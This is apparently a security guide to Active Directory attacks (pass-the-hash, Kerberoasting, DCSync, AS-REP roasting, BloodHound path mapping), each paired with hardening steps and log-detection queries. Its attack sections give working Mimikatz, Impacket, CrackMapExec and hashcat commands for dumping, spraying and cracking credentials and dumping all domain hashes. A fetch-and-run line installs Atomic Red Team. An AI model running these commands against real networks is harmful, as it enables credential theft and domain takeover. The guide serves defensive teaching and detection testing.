Active Directory Attacks and Defenses: Kerberoasting, Pass-the-Hash, DCSync Explained

Active Directory (AD) is the backbone of almost every enterprise Windows environment. It controls authentication, authorization, and access for millions of users and computers. That is also why AD is the #1 target for attackers after gaining an initial foothold: compromise AD and you own the entire organization. This guide covers the most common AD attack techniques — and exactly how to defend against each one.

1. Pass-the-Hash (PtH)

How It Works

Windows stores password hashes (NTLM) in memory and in the SAM database. An attacker who gains local admin access can extract these hashes and use them to authenticate as that user — without knowing the actual password. The hash IS the credential.

# Dump NTLM hashes with Mimikatz (requires admin/SYSTEM)
privilege::debug
sekurlsa::logonpasswords

# Pass-the-Hash with Impacket (from Linux)
python3 wmiexec.py -hashes :NTLM_HASH_HERE Administrator@192.168.1.100

# Or with psexec.py
python3 psexec.py -hashes :NTLM_HASH_HERE Administrator@192.168.1.100

# CrackMapExec - spray hash across entire subnet
crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH_HERE

Defense

# Enable Credential Guard (Windows 10/Server 2016+)
# Group Policy: Computer Config > Admin Templates > System > Device Guard
# Enable: Turn On Virtualization Based Security
# Credential Guard prevents Mimikatz from reading LSASS memory

# Enable Protected Users security group
Add-ADGroupMember -Identity "Protected Users" -Members "sensitive_admin_account"
# Protected Users: disables NTLM auth, prevents credential caching

# Disable NTLM where possible
# GPO: Security Settings > Local Policies > Security Options
# Network security: Restrict NTLM: NTLM authentication in this domain = Deny all

# Monitor for PtH in event logs
# Event ID 4624, Logon Type 3, with blank domain or NTLM auth
Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4624} |
  Where-Object {$_.Properties[8].Value -eq 3} | # Logon Type = Network
  Where-Object {$_.Properties[7].Value -ne "KERBEROS"} | # Non-Kerberos auth
  Select TimeCreated, Message | Select-Object -First 20

2. Kerberoasting

How It Works

Any authenticated domain user can request a Kerberos service ticket for any service registered in AD (Service Principal Names / SPNs). These tickets are encrypted with the service account’s password hash. Attackers request tickets for high-privileged service accounts, then crack them offline at leisure.

# Find all SPNs (Kerberoastable accounts) with Impacket
python3 GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP

# Request and save tickets for offline cracking
python3 GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile hashes.txt

# Crack with Hashcat (mode 13100 = Kerberos 5 TGS-REP)
hashcat -m 13100 hashes.txt rockyou.txt
hashcat -m 13100 hashes.txt rockyou.txt -r best64.rule

# From Windows with PowerView
Import-Module PowerView.ps1
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File -FilePath kerberoast.txt

Defense

# Find all Kerberoastable accounts in your environment
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName |
  Select SamAccountName, ServicePrincipalName, PasswordLastSet

# Action: Use Group Managed Service Accounts (gMSA) instead of regular accounts
# gMSA auto-rotates 240-char random password every 30 days
New-ADServiceAccount -Name "SQLService" -DNSHostName sql.domain.com -PrincipalsAllowedToRetrieveManagedPassword "SQL_Servers"

# Set AES encryption for service accounts (makes cracking harder)
Set-ADUser -Identity svc_sql -KerberosEncryptionType AES128,AES256

# Monitor for bulk TGS ticket requests (Kerberoasting indicator)
# Event ID 4769 - Kerberos Service Ticket was requested
# Alert: same user requesting 10+ service tickets in 1 minute

3. DCSync Attack

How It Works

Domain Controllers sync password hashes with each other using the Directory Replication Service (DRS) protocol. An attacker with certain AD privileges (Replicating Directory Changes) can impersonate a domain controller and request all password hashes from a real DC — essentially dumping the entire Active Directory database remotely, without running any code on the DC itself.

# DCSync with Mimikatz (requires Replicating Directory Changes permission)
lsadump::dcsync /domain:corp.local /user:Administrator

# Dump ALL hashes (requires higher privilege)
lsadump::dcsync /domain:corp.local /all /csv

# From Linux with Impacket
python3 secretsdump.py DOMAIN/admin_user:password@DC_IP

# Or using hash
python3 secretsdump.py -hashes :NTLM_HASH DOMAIN/admin_user@DC_IP

Defense

# Audit who has DCSync rights (Replicating Directory Changes)
# These DACLs are on the domain root object
$acl = Get-Acl "AD:DC=corp,DC=local"
$acl.Access | Where-Object {$_.ActiveDirectoryRights -match "Repl"} |
  Select IdentityReference, ActiveDirectoryRights

# Only SYSTEM, Domain Admins, and Enterprise Admins should have this
# Remove from any unexpected accounts

# Detect DCSync in logs (Event ID 4662)
# Filter: Access Mask = 0x100 + Object GUID for DS-Replication-Get-Changes
Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4662} |
  Where-Object {$_.Message -match "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"} | # Replication GUID
  Select TimeCreated, Message

4. AS-REP Roasting

How It Works

Normally, Kerberos pre-authentication is required — users must prove they know their password before getting a ticket. If pre-authentication is disabled for an account (a common misconfiguration), an attacker can request an AS-REP (Authentication Service Response) without any credentials, then crack the encrypted response offline.

# Find accounts with pre-auth disabled (from Linux)
python3 GetNPUsers.py DOMAIN/ -usersfile userlist.txt -dc-ip DC_IP -format hashcat

# From Windows
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

# Crack the hash
hashcat -m 18200 asrep_hashes.txt rockyou.txt

Defense

# Ensure all accounts require Kerberos pre-authentication
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Set-ADUser -DoesNotRequirePreAuth $false

# Alert on accounts with this flag
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties * |
  Select SamAccountName, DoesNotRequirePreAuth | Export-Csv preauthoff.csv

5. BloodHound — Attack Path Mapping

BloodHound maps AD relationships to find attack paths to Domain Admin. It reveals how an attacker can chain multiple accounts and permissions to escalate privileges. Defenders use it too — to find and remediate risky permission chains before attackers do.

# Install BloodHound with Docker
docker run -p7474:7474 -p7687:7687 --env NEO4J_AUTH=neo4j/BloodHound -d neo4j
# Download BloodHound GUI from GitHub releases
# https://github.com/BloodHoundAD/BloodHound/releases

# Collect AD data with SharpHound (run on domain-joined machine)
.SharpHound.exe -c All --outputdirectory C:	emp
# Or with Python ingestor (from Linux)
pip3 install bloodhound
bloodhound-python -u user -p password -d domain.local -ns DC_IP -c All

# Import ZIP file into BloodHound
# Then run built-in queries:
# - Find Shortest Paths to Domain Admins
# - Find All Domain Admin Group Members
# - Principals with DCSync Rights
# - Kerberoastable Accounts with High Privileges

Key AD Hardening Checklist

# 1. Enable Protected Users group for all privileged accounts
Add-ADGroupMember "Protected Users" -Members "All_Admin_Accounts"

# 2. Implement Microsoft's Tier Model (3-tier admin model)
# Tier 0: Domain/forest-level (only touch DCs)
# Tier 1: Server admin (only touch servers)
# Tier 2: Workstation admin (only touch workstations)

# 3. Rotate krbtgt password (prevents Golden Ticket attacks)
Import-Module .Reset-KrbtgtKeyInteractive.ps1
Reset-KrbtgtKeyInteractive  # Run twice for full propagation

# 4. Enable fine-grained password policies for admins
New-ADFineGrainedPasswordPolicy -Name "AdminPSO" -Precedence 1 -MinPasswordLength 20 -LockoutThreshold 3
Add-ADFineGrainedPasswordPolicySubject "AdminPSO" -Subjects "Domain Admins"

# 5. Audit privileged group membership
Get-ADGroupMember "Domain Admins" | Select Name, SamAccountName
Get-ADGroupMember "Enterprise Admins" | Select Name
# Alert on any additions to these groups (Event ID 4728)

Monitoring with Purple Teaming

After hardening AD, validate your detections by running the attacks in a test environment and confirming your SIEM fires the correct alerts. Use Atomic Red Team for controlled AD attack simulation:

# Install Atomic Red Team
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)
Install-AtomicRedTeam -getAtomics

# Simulate Kerberoasting (T1558.003)
Invoke-AtomicTest T1558.003

# Simulate DCSync (T1003.006)
Invoke-AtomicTest T1003.006

# Simulate AS-REP Roasting (T1558.004)
Invoke-AtomicTest T1558.004

# Verify SIEM alerts fired, then clean up
Invoke-AtomicTest T1558.003 -Cleanup

Active Directory attacks are sophisticated, but they follow predictable patterns. Every technique in this guide has known detection signatures. The goal of AD security is not to make attacks impossible — it is to make them detectable and to limit the blast radius when the inevitable initial compromise occurs.